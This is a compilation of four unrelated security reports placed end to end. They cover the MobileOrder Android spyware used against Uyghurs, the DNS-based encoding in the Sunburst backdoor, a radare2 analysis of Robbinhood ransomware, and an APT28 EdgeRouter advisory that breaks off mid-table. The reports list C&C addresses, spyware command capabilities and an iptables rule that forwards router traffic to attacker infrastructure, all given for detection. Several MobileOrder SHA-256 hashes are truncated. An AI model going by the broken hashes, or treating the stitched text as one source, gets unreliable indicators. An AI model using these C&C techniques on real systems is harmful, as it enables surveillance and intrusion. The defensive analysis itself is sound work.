The MobileOrder malware, despite being actively used and updated, still does not support modern Android OS features, such as runtime permissions or new intent for APK installation, and does not use techniques common to most modern malware such as accessibility usage, avoiding battery optimization, etc.
We are not able to identify which attacks have been successful; however, the fact that the threat actors continue to develop and deploy the malware for so many years suggests that they have been successful in at least some of their operations.
## Technical analysis
When the victim opens the lure, whether it is a document, picture, or audio file, it actually launches the malicious application, which in turn opens a decoy document to distract the victim from background malicious actions. Some of the versions also ask for Device Admin and root access, which not only gives the malware full access to the device but also prevents the victim from easily uninstalling the application.
The malware then hides its icon and launches two services: core and open. The open service is responsible for showing the victim the decoy content (a PDF file or an image or an audio record) which is stored in res/raw/, res/drawable/ or assets.
The core service launches the Communication thread, which connects to the C&C (command & control) server and processes the commands received, and the KeepAlive thread, which periodically triggers a connection to the server and relaunches the parent service.
However, the KeepAlive thread is not the only one responsible for keeping the malware active. The malware developer also created a BroadcastReceiver that starts the core Service. The triggers for this receiver are numerous actions registered in the AndroidManifest, making sure the malware stays active all the time.
## C&C Communication
Depending on the sample, the malware can use a hardcoded list of C&C servers, dead drop resolvers, or both. First, the malware starts the process of resolving the C&C server, which includes decoding the built-in C&C addresses and, where it is defined, extracting the C&C server from dead drop resolvers which point to additional C&C infrastructure.
The use of dead drop resolvers helps prevent the infrastructure from being easily discovered through static analysis, but also enables operational resiliency as this infrastructure may be dynamically changed. All the versions of the malware that make use of dead drop resolvers query different posts on the Chinese Sina blog platform.
First, the malware requests a specific blog page. Then it searches the received HTML for a specific base64-encoded regex pattern and decodes it to get the real C&C IP address and port.
In this specific example, the string `MjA5Ljk3LjE3My4xMjQ6MjY3NQ==` is decoded to `209.97.173.124:2675`. The malware then creates a socket connection to the specified IP and port.
## Encryption
To secure communication with the C&C server, the malware encrypts the data with AES. The key is generated in runtime from an encrypted passphrase inside dex by calculating the MD5 digest.
## Command execution
After successfully connecting to the C&C, the malware processes commands from the remote server. It first reads a command, then an argument size, and finally the actual encrypted arguments.
This is the full list of commands:
| Command | Description |
|---------|-------------|
| 64 | Send a list of files from the specific path. |
| 65 | Send a list of processes running on the device. |
| 67 | Send device and connectivity information (IMEI, Phone Number, Network type, Accounts, Installed applications, Browser history, and others). |
| 68 | Delete specific files on the device. |
| 69 | Upload files from a specified path on the device to the C&C server. |
| 70 | Download files from the C&C server (any file type). |
| 71 | Upload all SMS messages. |
| 72 | Upload all Contacts. |
| 73 | Upload all Call Logs. |
| 74 | Take a photo from the camera. |
| 77 | Start Audio Recording task (immediately or at a specified time). |
| 78 | Start “Network” location updates and send cell location info immediately. |
| 79 | Start “GPS” location updates. |
| 82 | Install APK (silently or via UI). |
| 83 | Uninstall the application (silently or via UI). |
| 84 | Execute “chmod -R 777” to a specific path via su. |
| 85 | Launch a specific application on the device. |
| 86 | Send Broadcast with a specific action to trigger other applications. |
| 87 | Run shell command. |
| 88 | Change the minimal time interval between location updates. |
| 89 | Disable location tracking. |
| 91 | Check if a screen is on. |
| 92 | Send SMS to a specific number. |
| 93 | Delete specific SMS. |
| 94 | Perform call to a specific number. |
| 96 | Delete a specific call log. |
| 97 | Update the C&C list. |
| 98 | Take a screenshot. |
As we can see from this list, the malware contains stealer functionality to upload all kinds of sensitive data from the device (device info, SMS, calls, location, etc.), but also provides RAT functionality by executing active commands on the device such as remote shell, file downloading, taking photos, performing calls, manipulating SMS and call logs, etc.
## SMS and Call Logs manipulation
The malware has commands to upload all the SMS and call logs to the attackers’ server. In addition, it provides the functionality to send text messages or perform a call to a specific number. This allows the actors to conduct further malicious activity against additional targets by impersonating the current victim, using their name, phone number, and credibility. This drastically increases the chances of success.
To hide these actions from the victim, the attackers may use commands to remove the last messages or call logs so that no traces of their interactions with third parties are left on the device.
## Location tracking
The malware can collect the victim’s device location and track its changes over time. When it is launched, the malware registers a location listener, which means Android will trigger this listener every time the location is changed.
The malware collects latitude, longitude, altitude, speed, bearing, accuracy, and the provider (GPS or network) that supplied these results. It also tries to convert the current location from latitude and longitude coordinates to a physical address using the Geocoder class. The number of details and the precision of this reverse geocoding process may vary. For example, one set of coordinates can be translated to the full street address of the closest building, while another might contain only a city name and a postal code.
The geolocation data is immediately sent by the spyware to the remote server. Additionally, the malicious application also writes this data with a timestamp to the file called map.dat, thereby continuously collecting and saving the victim’s geolocation. Even if the internet connection on a victim’s devices or to the C&C server is unavailable, the file with all the geolocation information is continuously updated and is uploaded to the attacker-controlled server when the connection is restored.
The attackers can also configure the Location listener parameters remotely:
- Change the minimal interval between the location updates – This allows the actors to decrease the number of updates but can still track the victim.
- Change the provider for location tracking between GPS (based on satellite usage) or network (based on the availability of cell towers and WiFi access points).
Before the malware developers started to utilize the standard Android LocationListener, the malware used a third-party SDK called AMAP to track the victim’s location. The overall idea is similar: when the malicious app receives a command from the attackers’ server to start tracking the device’s location, it subscribes to location updates from the AMAP SDK. This way, at every location change, the malware writes the current location with a timestamp to the map.dat file and stores it as a variable.
As a result, the attackers can send commands from the remote server to read the current location or to request a full tracking file. To summarize, in the most recent versions, the malware developers added the ability to track their target’s location in real-time. The malware sends location updates on its own, compared to previous versions where the server needed to send additional commands to get the location information.
## Call recording and file upload
To record both incoming and outgoing calls from the infected device’s microphone, the malware uses a BroadcastReceiver called CallRecorder. It monitors the phone state and saves the call records locally to the db file, so that it can be uploaded later to the attacker-controlled remote server by issuing the “upload file” command.
## Surround recording
Besides recording incoming and outgoing calls, the attackers can start surround recording remotely by issuing a relevant command from the C&C server. When the command is received, the malware gets as an argument the desired duration and the specified delay before the recording starts. If there is no delay specified, it launches a thread that immediately starts to record. Otherwise, it creates a PendingIntent for the BroadcastReceiver that is registered in AlarmManager – and as a result, triggers a recording in the specified time.
After the AudioRecording thread performs the recording with the specified duration, it saves it to the db file with the timestamp. As the recorded files may be quite large, we would expect to see some restrictions in the code on how the resulting files are exfiltrated (for example, upload the files only via Wi-Fi networks), but there are no such limitations in the code. However, there is no automatic upload for the recorded calls. The attackers decide when to exfiltrate the files, so they could send a command to get device information (which contains the current network connection type) and then exfiltrate the files from the device when convenient.
Because the attackers have updated information about the victim’s location, they can choose the opportune moment to record offline private conversations, which affects not only the victim’s privacy but also that of unsuspecting third parties.
## Remote shell
The malware can receive commands to execute a remote shell, which is done by starting a thread that, in turn, starts a shell process and establishes a socket connection to the same C&C server, but over a different port. The shell’s output is redirected to the socket output stream from which the malware reads the commands, then decrypts and executes them.
## Drop additional APK
When it receives a command to install an APK, the malware starts a thread that checks if it has enough privileges to install the application silently. If the check fails, the malware launches a regular UI installation via intent. Uninstalling an application performs exactly the same logic.
## Attribution
The first report that summarized the activity of Scarlet Mimic and various elements of this threat was published in 2016. It reviewed a series of persistent attacks that targeted Uyghur and Tibetan minority rights activists as well as those who support their cause.
The group’s arsenal at that point included multiple Trojans and tools for Windows and macOS. In 2015, the actors started to expand their espionage efforts from PCs to mobile devices using the spyware called MobileOrder, which focused on compromising Android devices. Based on the code similarity, shared infrastructure, and victimology, we conclude that the new wave of attacks belongs to the same threat actor and that the group continues to deploy and develop MobileOrder malware until this day. In addition to clear code overlaps, we observed multiple overlaps in the infrastructure between the new samples and the old MobileOrder malware variant, as well as multiple variants of Windows Psylo Trojan previously attributed to Scarlet Mimic, that interact with the same malicious domains as the mobile malware.
In late 2017, Lookout research published their report on another cluster of malicious activity, which relied on JadeRAT Android malware to target the Uyghur community. This campaign “had some overlap [with Scarlet Mimic] around the apps they trojanized, the likely groups they targeted, their capabilities, and to some extent their implementation.”
Together with the evidence of the ongoing campaign using Android spyware provided in this report, this emphasizes the heavy shift of activity targeting these minority groups towards mobile surveillance in the last few years.
## Code overlaps
The MobileOrder from the 2015 report also started by registering itself as a device admin with admin privileges to secure its persistence and to lay a proper foundation for the rest of the malware’s functionalities.
The 2015 version of MobileOrder masqueraded as a PDF document, with an embedded PDF called `rd.pdf` in the application’s resources. This is similar to all the new samples in the ongoing campaign where the decoy content is PDF files. The bait PDF extracted from the malware resources is written to the device’s SD card and displayed to the victim while executing the malicious actions in the background.
The main communication thread, which is responsible for communicating with a C&C server via socket and processing received commands, also did not change much over time, although many of the commands themselves changed the command id, and a few more functionalities were added.
## Victimology and lures
Most of the malicious applications we observed have names in the Uyghur language, in its Arabic or Latin scripts. They contain different decoys (documents, pictures, or audio samples) with content related to the ethnic geopolitical conflict centered on Uyghurs in China’s far-northwest region of Xinjiang, or with the religious content referencing the Uyghurs’ Muslim identification. We can therefore conclude that this campaign is likely intended to target the Uyghur minority or organizations and individuals supporting them, which is consistent with the Scarlet Mimic group’s previously reported activity.
A few interesting examples of decoys used by the actor over the years include:
- The sample with the original name “photo” (md5:a4f09ccb185d73df1dec4a0b16bf6e2c) contains the picture of Elqut Alim, the “New Chief Media Officer” of the Norwegian Youth Union who call themselves “a group of Uyghur youth who live in Norway with a common understanding and a common goal, which is to stand up against China’s invasion of East Turkestan.” The malware was uploaded to VT with the name in Uyghur Latin and a fake “.jpg” extension.
- The application named “ﻰﺷ ۇرۇﺋ ﻖىﻠﻧاﺶىﺗرﺎﭘ” which translates from Uyghur to “Guerrilla Warfare” (md5: b5fb0fb9488e1b8aa032d7788282005f) contains the PDF version of the short version of the military course by Yusuf al-Ayeri, the now deceased first leader of Al-Qaeda in Saudi Arabia, which outlines the tactical methods of guerrilla warfare.
- Another sample called “rasimim” (“pictures” in Uyghur, sample md5:06c8c089157ff059e78bca5aeb430810) contains multiple pictures referring to the escalated tensions in Xinjiang Uygur Autonomous Region in May 2014, including the deployment of special police forces next to the Urumqi Railway Station and the medical evacuation after a terrorist attack in a street market.
- The sample called “The China Freedom Trap” (md5: a38e8d70855412b7ece6de603b35ad63) masquerades as a partial PDF of the book with the same name written by Dolkun Isa, politician and activist from the region of Xinjiang and the current president of the World Uyghur Congress.
- The sample called “quran kerim” which translates as “Noble Quran” (md5: f10c5efe7eea3c5b7ebb7f3bf7624073) uses as a decoy an mp3 file of a recorded speech in what seems to be a Turkic language.
Some of the other lures include the pictures of unidentified individuals, and as reverse search engines fail to trace their origin, we can assume that these pictures are borrowed from the private profiles of these individuals in some social networks or were stolen from their mobile devices as a result of the spyware deployment.
It’s interesting that one of the samples, called “ﺔﻤﺋﺎﻘﻟا” (“The list” in Arabic) with the package name com.sy.go.immx (md5:7bf2ca0e7242cabcee8d3bb37ac52fc7) doesn’t follow the pattern of referencing Uyghurs. The name and the lure of this application is in Arabic, and the lure document contains a picture of a list of persons wanted by Shabwah Governorate in Yemen for threatening the security and stability of the province. This may indicate the additional targeting of individuals or organizations located in a different geographical zone and involved in another conflict.
## Conclusion
Over the years, Scarlet Mimic strongly continues its espionage operations against the Uyghur community using Android malware. The persistence of the campaign, the evolution of the malware, and the persistent focus on targeting specific populations indicate that the group’s operations over the years are successful to some extent. This threat group’s shift in their attack vector into the mobile sector provides further evidence of a growing tendency of extensive surveillance operations executed on mobile devices as the most sensitive and private assets.
Check Point’s Harmony Mobile helps secure mobile devices across all attack vectors: apps, network, and OS, and protects against Android malware such as the one used in this campaign. Harmony Mobile leverages Check Point’s ThreatCloud and award-winning file protection capabilities to block the download of malicious files to mobile devices and prevent file-based cyber-attacks, such as the ones described in this report.
## IOCs
| SHA256 | Package Name |
|--------|--------------|
| fd99acc504649e8e42687481abbceb71c730f0ab032357d4dc1e95a6ef8 | com.emc.pdf |
| 89f350332be1172fc2d64ac8ecd7fd15a09a2bd6e0ab6a7898a48fb3e5c | pw.nrt.photo.google |
| 84ce04fd8d1c15046e7d50cd429876f0f5fbca526d7a0a081b6b9a49fe6 | com.sy.go.immx |
| f876b2a60d4cf7f88925f435f29f89c0393f57a59ec46d490c7e87821f2 | com.pdf.google.vv |
| c2cd40f1c21719d4611ff645c7f960d0070c19e8ad12cc55aded7b5a341 | com.pdf.google.c89a3 |
| 2e94183fcbc3381071d023a030640aaef64739006b6c22603b94b970ceb | com.pdf.google.eeec2 |
| 73729646a7768a5bd4c301842c19b3b16bb190e435af466a731ad365449 | com.pdf.google.82098 |
| 13e457ce16c0fe24ad0f4fe41a6ad251ebffb2fdaaebe7df094d7852ba0 | com.photo.android.p |
| 155d0707858cbb18ed5ecb4d98009288e4c5a1e68275d9db5b2390f2046 | com.update.google.36431 |
| 0703185a3e206b8da96a86f4bbcb750b48bbec8b2fc2598eed8603e4027 | com.photo.android.p |
| be0ae4394b8592cd1325b86669fa78f9ccd320d23f839e81001138be914 | com.photo.android.p |
| 990e50ce20706be80b4d62367ff6ed615d6dd04551b42cfd80b1a895006 | com.photo.android.p |
| 633739c3b51715516fb226b3b9c693530d8ef715ac19093cdf6aaf10814 | com.view.openpdf |
| e959dc221a8667cde8b9ff080d078e60ed1e8bf5a3c6f1f352919c9b8f6 | com.view.openpdf |
| e3ee0ccfb01e2effd49feddb252781baa2a05f8360d5cf949d09e3add1e | com.photo.android.p |
| 126e41c231c1b5a25584e27d47132d0d243da155e6a70517d08dbf61120 | com.photo.android.p |
| ed3aa8e58d65c81df2f18e970456225b7c2b78e4add4dea556298a915b8 | com.photo.android.p |
| 35adf82e2ace8fe0ddfd50b21dad274df40696f5dfcdf7372fe63eed8bb | com.photo.android.p |
### Indicators
| Indicator | Type |
|-----------|------|
| adfgasfasfasf123[.]com | C&C |
| blackbeekey[.]com | C&C |
| fly100.dellgod[.]net | C&C |
| islam.ansardawlatalislam[.]com | C&C |
| k7k7[.]co | C&C |
| mobile.muslimbro[.]org | C&C |
| ziba.lenovositegroup[.]com | C&C |
| 209.97.173[.]124 | C&C |
| 45.32.112[.]182 | C&C |
| https://blog.sina.com[.]cn/u/52411 | Dead drop resolver |
| https://blog.sina.com[.]cn/u/59557 | Dead drop resolver |
| https://blog.sina[.]cn/dpool/blog/s78u | Dead drop resolver |
| https://blog.sina.com[.]cn/u/59269 | Dead drop resolver | |
# SolarWinds: How a Rare DGA Helped Attacker Communications Fly Under the Radar
In the second of a series of follow-up analyses on the SolarWinds attacks, we examine how the attackers made command and control communications particularly stealthy.
In the weeks since news of the SolarWinds attacks broke, we’ve continued our analysis into the tools used by the attackers. One of the most interesting things we’ve seen is the way the attackers configured their malware to contact a command and control (C&C) server via DNS communications. It’s a technique that is rarely used, but there have been some reports of other APT groups such as Crambus (aka Oilrig) using it previously.
Sunburst (Backdoor.Sunburst), the malware used to Trojanize the SolarWinds Orion software, uses a domain generation algorithm (DGA) to generate domain names to contact for C&C purposes. However, unlike most DGAs, this DGA does not just randomly generate characters. Instead, information is encoded into the text that makes up the generated domain names. By doing so, initial C&C actually happens via DNS, which provides a stealthier level of communications.
For each infected computer, Sunburst generates a unique ID, referred to as a userid. The userid is made up of the first active MAC address that is not the loopback address, concatenated with the Windows Domain name of the computer, and then concatenated with the Windows installation UUID, a randomly generated value at Windows installation time stored in `HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid`. These three values are then MD5 hashed and the first 64 bits are XOR’d with the last 64 bits, resulting in a unique 64-bit userid.
Because multiple DNS requests will have to be made to transmit all payload information, the attackers require a unique ID to know from which computer the information is coming. DNS is a distributed protocol, meaning the infected computer does not contact the attacker’s C&C server directly, but instead, the DNS request is passed through multiple intermediaries before reaching the attacker DNS server. Only by including the userid within the DNS request will the attackers be able to combine the multiple requests.
The DNS lookup will be in one of the following forms:
- `<encoded information>.appsync-api.eu-west-1.avsvmcloud.com`
- `<encoded information>.appsync-api.us-west-2.avsvmcloud.com`
- `<encoded information>.appsync-api.us-east-1.avsvmcloud.com`
- `<encoded information>.appsync-api.us-east-2.avsvmcloud.com`
The encoded information will be in one of two forms providing the attackers either the Windows domain name of the infected organization or security product statuses and feedback on the infected machine.
## Windows Domain Name Payload
Initially, after Sunburst checks for or bypasses security tools and products, the first DNS lookup will occur containing the infected computer’s Windows domain name or a portion thereof, encoded into the C&C domain. The Windows domain is usually a human-readable string representing the name of the organization the machine belongs to, e.g., AcmeA1Corp.
The DGA will start by prepending the aforementioned userid with a randomly chosen key byte between `0x81` and `0xFE` followed by the userid XOR’d with the key byte. These nine bytes are then encoded in a fashion similar to Base64, resulting in 15 characters. This string of characters is then followed by the Windows domain name, encoded. Because Windows domain names can be up to 253 characters long, Sunburst chooses to segment the Windows domain names into 14 character chunks preceded by the chunk number (where the first chunk number is 0). Windows domain names longer than 14 characters will thus require more than one DNS lookup to provide the entire Windows domain name.
Sunburst will also resend previously sent chunks if an error was encountered or, under certain error conditions, set the chunk number to a negative one. The segment chunk number and the Windows domain name are both encoded separately and appended to the encoded userid. These elements form the subdomain of the domain. This domain is queried via DNS, which results in this encoded information reaching the attacker’s DNS server. The attacker can then decode the information and reply with further instructions.
Sunburst does not automatically generate multiple DNS queries in order to send the entire Windows domain name. Whether Sunburst will send the remaining 14-character segments depends on the response received from the initial DNS query. Because Sunburst was delivered via a supply chain attack, many systems that are not of interest will be infected. By encoding the first 14 characters of the Windows domain name into the first DNS query, the attackers are able to triage infections and only mount second-state attacks on systems of interest—those that have Windows domain names that match organizations they wish to target.
## Security Product Status and Feedback Payload
Depending on the response to the first DNS lookup, a second DNS lookup may occur that encodes the status of installed security products on the system and information on whether the DNS communication has been successful.
First, the userid is XOR’d by the third and second bytes of a timestamp value described below in an alternating fashion before being XOR’d by a randomly chosen key byte between `0x01` and `0x7E` that is then prepended to the userid. The first byte thus provides not only the key byte but informs the attackers if the remaining content will contain the Windows domain name payload (key byte is between `0x81` and `0xFE`) or the security product status and feedback payload (key byte is between `0x01` and `0x7E`).
After the userid, a nibble (half a byte) is used to specify if the security payload information has content (nibble is set to 2) or is blank (nibble is set to 1). This is followed by a timestamp in UTC of when the DNS query was sent, granular to 30-minute increments. The last bit of the timestamp is set to a bit flag representing whether the previous DNS response successfully contained partial or full instructions to start the secondary HTTP communication channel. This may have been designed by the attackers as a feedback mechanism to ensure the DNS communication mechanism is working before sending the full HTTP communication channel details and, in the case of full details, a signal that the HTTP communication should have already started. After the timestamp, the security product status payload is optionally provided if select security product services were found as running.
The two bytes contain a bitmask that encodes information on whether any of the following security products were not found, or found running and/or subsequently disabled and stopped:
- CrowdStrike
- Carbon Black
- FireEye
- ESET
- F-Secure
- Microsoft Defender
The userid, timestamp, feedback bit, and optional security product data are then encoded into text as the subdomain of a DNS query that is sent to the attackers.
## Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
**File-based protection:**
- Backdoor.Sunburst
- Backdoor.Sunburst!gen1
- Backdoor.SuperNova
- Backdoor.Teardrop
**Network-based protection:**
- System Infected: Sunburst Malware Activity
## About the Author
**Threat Hunter Team**
Symantec
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. |
# Robbinhood Malware Analysis with Radare2
Jacob Pimental
July 1, 2019
This article will provide an overview of how we can extract function names from Windows GoLang binaries to make reversing easier and to give a brief analysis on the Robbinhood Ransomware that attacked Baltimore recently. GoLang is a programming language designed around multi-threaded applications. The difficulty in reversing GoLang binaries is that all libraries are statically linked, which means there will be a large number of functions in the application, most of which are not even used during execution. For example, in a normal Hello World compiled GoLang binary, radare2 detects 1800 functions.
The gopclntab section in a GoLang program contains a table of function locations along with their names. Radare2 is able to parse out this table and label every function accordingly; however, this only works on binaries compiled for Linux. When it comes to Windows, Radare2 is not able to find the gopclntab, and we are left with thousands of unlabeled functions with no clue as to what they do. I decided to learn how the gopclntab works and create a parser using r2pipe to label all functions.
## Gopclntab
The gopclntab section always seems to start with the bytes `0xfbffffff`, and after that contains the size of the table. The next 8 bytes contain the location of the first function, then the offset of that function from the start of the table. If you go to that offset from the start of the table, you’ll get the offset for the name of the function.
Using this table, we can get all of the function information for the binary. I created a small python script that uses r2pipe to parse this table and rename/create the necessary functions. You can get the script on my GitHub. There is also a really in-depth article you can read about the gopclntab.
## Robbinhood
In May, Baltimore was hit by a ransomware known as Robbinhood, that took out multiple services. The ransomware itself was written in GoLang, so I thought this would be a good opportunity to become familiar with GoLang reversing and analyze the sample.
When reversing a GoLang binary, the main function will be located at `main.main`. Seeking to that function in radare2, we can see the binary trying to open the file `C:\Windows\Temp\pub.key`. Strings in a GoLang binary are not null-terminated like most C-type programming languages. Instead, they have a variable that contains the length of the string.
If the file `pub.key` does not exist, the program throws an error and exits. If it does exist, the program will get a list of drives that the computer has access to and run the function `main.CoolMaker`. The CoolMaker function spawns multiple processes of `cmd.exe` to run the service control manager in order to shut down any endpoint agents or antivirus on the infected host.
After the CoolMaker function has been called, Robbinhood will spawn 4 processes of the function `main.main.func1`, which appears to be where the actual encryption occurs. The function calls another function, `main.doit`, which creates an encryption key based on the `pub.key` file found at the start of execution. These processes will then recursively walk through the file system and encrypt any files it finds.
The program also logs the encrypted file names to four different log files, `rf_l`, `rf_s`, `ro_l`, `ro_s`. Both of the `rf_*` files log the names of the files the program deems “interesting”. The `ro_*` logs contain all other filenames. Both sets of logs are separated into large file sizes (`rf_l`, `ro_l`), and small file sizes (`rf_s`, `ro_s`). These logs are deleted as soon as execution is completed.
The dropped ransom note is contained in the binary as a base64 encoded string. The different aspects of the note, such as payment amount and user id, are defined by different variables in the note to make them easily interchangeable depending on who the victim is. For example, the wallet id is defined in the ransom note as `#WALLAD#` and is replaced by the string `14yos7dpe4bx3imnoGVUcMsNBwU1hLutfj`. I did check to see if any payments had been made to the bitcoin wallet address, and it looks like Jack Young was true to his word and the city didn’t pay the ransom at all.
Overall, this was not a very advanced Ransomware. It is very loud due to the fact that it is shutting down multiple Endpoint agents and AV. It also did not have the ability to spread at all. Every infected computer had to be targeted individually for it to cause real damage. However, this was a fun sample to analyze and taught me a lot about GoLang reversing. As always, if you have any questions or comments on this, or any of my other articles, feel free to reach out to me on my Twitter and LinkedIn.
Thanks for reading and happy reversing!
**Tags:** Tutorial, Radare2, Malware Analysis, Malware, Linux, Windows, Scripting, Automation, r2pipe, GoLang |
# Russian Cyber Actors Use Compromised Routers to Facilitate Cyber Operations
## SUMMARY
The Federal Bureau of Investigation (FBI), National Security Agency (NSA), US Cyber Command, and international partners are releasing this joint Cybersecurity Advisory (CSA) to warn of Russian state-sponsored cyber actors’ use of compromised Ubiquiti EdgeRouters (EdgeRouters) to facilitate malicious cyber operations worldwide. The FBI, NSA, US Cyber Command, and international partners – including authorities from Belgium, Brazil, France, Germany, Latvia, Lithuania, Norway, Poland, South Korea, and the United Kingdom – assess that the Russian General Staff Main Intelligence Directorate (GRU), 85th Main Special Service Center (GTsSS), also known as APT28, Fancy Bear, and Forest Blizzard (Strontium), have used compromised EdgeRouters globally to harvest credentials, collect NTLMv2 digests, proxy network traffic, and host spear-phishing landing pages and custom tools.
The U.S. Department of Justice, including the FBI, and international partners recently disrupted a GRU botnet consisting of such routers. However, owners of relevant devices should take the remedial actions described below to ensure the long-term success of the disruption effort and to identify and remediate any similar compromises.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or submit a report to the FBI Internet Crime Complaint Center (IC3). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without restriction.
## TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
### Overview
This advisory provides observed tactics, techniques, and procedures (TTPs), indicators of compromise (IOCs), and recommendations to mitigate the threat posed by APT28 threat actors related to compromised EdgeRouters. Given the global popularity of EdgeRouters, the FBI and its international partners urge EdgeRouter network defenders and users to apply immediately the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of cybersecurity incidents associated with APT28 activity.
Ubiquiti EdgeRouters have a user-friendly, Linux-based operating system that makes them popular for both consumers and malicious cyber actors. EdgeRouters are often shipped with default credentials and limited to no firewall protections to accommodate wireless internet service providers (WISPs). Additionally, EdgeRouters do not automatically update firmware unless a consumer configures them to do so.
### Threat Actor Activity
As early as 2022, APT28 actors had utilized compromised EdgeRouters to facilitate covert cyber operations against governments, militaries, and organizations around the world. These operations have targeted various industries, including Aerospace & Defense, Education, Energy & Utilities, Governments, Hospitality, Manufacturing, Oil & Gas, Retail, Technology, and Transportation. Targeted countries include Czech Republic, Italy, Lithuania, Jordan, Montenegro, Poland, Slovakia, Turkey, Ukraine, United Arab Emirates, and the US. Additionally, the actors have strategically targeted many individuals in Ukraine.
An FBI investigation revealed APT28 actors accessed EdgeRouters compromised by Moobot, a botnet that installs OpenSSH trojans on compromised hardware. While the compromise of EdgeRouters has been documented in open-source reporting, the FBI investigation revealed each compromised router accessed by APT28 actors housed a collection of Bash scripts and ELF binaries designed to exploit backdoor OpenSSH daemons and related services for a variety of purposes.
APT28 actors have used compromised EdgeRouters to collect credentials, proxy network traffic, and host spoofed landing pages and custom post-exploitation tools. For example, in early 2023, APT28 actors authored custom Python scripts to collect account credentials for specifically targeted webmail users. APT28 actors uploaded these custom Python scripts to a subset of compromised Ubiquiti routers to validate stolen webmail account credentials collected via cross-site scripting and browser-in-the-browser spear-phishing campaigns.
Additionally, an FBI investigation revealed that as early as 2022, APT28 actors had exploited CVE-2023-23397, a zero-day vulnerability at the time, to collect NTLMv2 digests from targeted Outlook accounts. Despite Microsoft releasing a patch for the vulnerability, the FBI investigation revealed APT28 actors have continued to exploit CVE-2023-23397 to leak NTLM digests to actor-controlled infrastructure. APT28 actors have installed publicly available tools such as Impacket ntlmrelayx.py and Responder on compromised Ubiquiti routers to execute NTLM relay attacks and host NTLMv2 rogue authentication servers.
In summary, with root access to compromised Ubiquiti EdgeRouters, APT28 actors have unfettered access to Linux-based operating systems to install tooling and to obfuscate their identity while conducting malicious campaigns.
### Indicators of Compromise
The FBI identified IOCs for the Moobot OpenSSH trojan and for APT28 activity on EdgeRouters. Readers of this CSA can reference the observations below to determine if their EdgeRouters have been impacted by either party.
#### Moobot OpenSSH Trojan
APT28 actors have leveraged default credentials and trojanized OpenSSH server processes to access EdgeRouters. Trojanized OpenSSH server processes are associated with Moobot, a Mirai-based botnet that infects internet of things (IoT) devices using remotely exploitable vulnerabilities, such as weak or default passwords. Trojanized OpenSSH server binaries downloaded from packinstall.kozow.com replaced legitimate binaries on EdgeRouters accessed by APT28, allowing remote attackers to bypass authentication.
#### Credential Access via Python Scripts
APT28 actors have hosted custom Python scripts on compromised EdgeRouters to collect and validate stolen webmail account credentials. The scripts are typically stored alongside related log files in the home directory of a compromised user, e.g., /home/<compromised user>/srv/core.py and /home/<compromised user>/srv/debug.txt. The FBI has recovered verbose log files with information about APT28 activity on EdgeRouters.
| File name | SHA-256 |
|-----------|---------|
| core.py | 4E32B04930D1F745EBA92255EE1C5E5AC82B939FF12DE0522C8A4905431D033D |
| core.py | C51C6AA0230A2FEA888EBCD213D302F1CC9F6051FDB268AE5C7A09415845C404 |
Network defenders can use the FBI-created Yara rule below to locate credential collection scripts on compromised EdgeRouters. Additionally, they can query network traffic for connections with API endpoint api.anti-captcha.com, which APT28 actors use in their custom Python scripts to automatically break captcha problems on webmail login pages.
```yara
rule APT28_core_scripts {
strings:
$a = "make_response('BAD')"
$b = "make_response('Finaly')"
$c = "make_response('NOOP')"
$d = "api.anti-captcha.com"
$e = "messages/remove"
$f = "acbb64c3de5ea5e5936df4a1eecf1235"
condition:
5 of them
}
```
#### Exploitation of CVE-2023-23397
APT28 actors have used ntlmrelayx.py and Responder to facilitate NTLMv2 credential leaks via exploitation of CVE-2023-23397 as a zero-day vulnerability since early 2022. The FBI collected evidence of APT28 CVE-2023-23397 activity on numerous compromised EdgeRouters. With default configurations, Responder logs activity to the following files:
- Responder-Session.log
- Responder.db
Network defenders and users can search EdgeRouters for tooling associated with ntlmrelayx.py and Responder to identify APT28 activity.
#### Proxy and Tunnel Infrastructure
APT28 actors have used iptables rules on EdgeRouters to establish reverse proxy connections to dedicated infrastructure. Readers of this CSA can review iptables chains and Bash histories on EdgeRouters for unusual invocations.
```bash
iptables -t nat -I PREROUTING -d <router IP address> -p tcp -m tcp --dport 4443 -j DNAT --to-destination <APT28 dedicated infrastructure>:10081
```
Additionally, APT28 actors have uploaded adversary-controlled SSH RSA keys to compromised EdgeRouters to establish reverse SSH tunnels and access compromised devices. Readers of this CSA can review /root/.ssh/ and other .ssh/ directories under /home/ for unknown RSA keys, which adversaries have used to access EdgeRouters despite password changes.
### MASEPIE Malware
In December 2023, APT28 actors wrote MASEPIE, a small Python backdoor capable of executing arbitrary commands on victim machines. An FBI investigation revealed that on more than one occasion, APT28 used compromised Ubiquiti EdgeRouters as command-and-control infrastructure for MASEPIE backdoors deployed against targets. Data sent to and from the EdgeRouters was encrypted using a randomly generated 16-character AES key. It is important to note that APT28 does not deploy MASEPIE on EdgeRouters, but rather on systems belonging to targeted individuals and organizations.
#### SHA-256 for MASEPIE backdoors
- 40a7fd89b9e51b0a515ac2355036d203357be90a2200b9c506b95c12db54c7aa
- 18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6
- 0429bdc6a302b4288aea1b1e2f2a7545731c50d647672fa65b012b2a2caa386e
## DETECTION
To locate related, malicious files on EdgeRouters, search Bash histories of all users for file downloads from domain packinstall.kozow.com, query network traffic for connections with domain packinstall.kozow.com, and reference the file hash table below to locate artifacts on disk. Additionally, if directory /usr/lib/libu.a/ exists on an EdgeRouter, it is likely an infection occurred.
| File path | SHA-256 |
|-----------|---------|
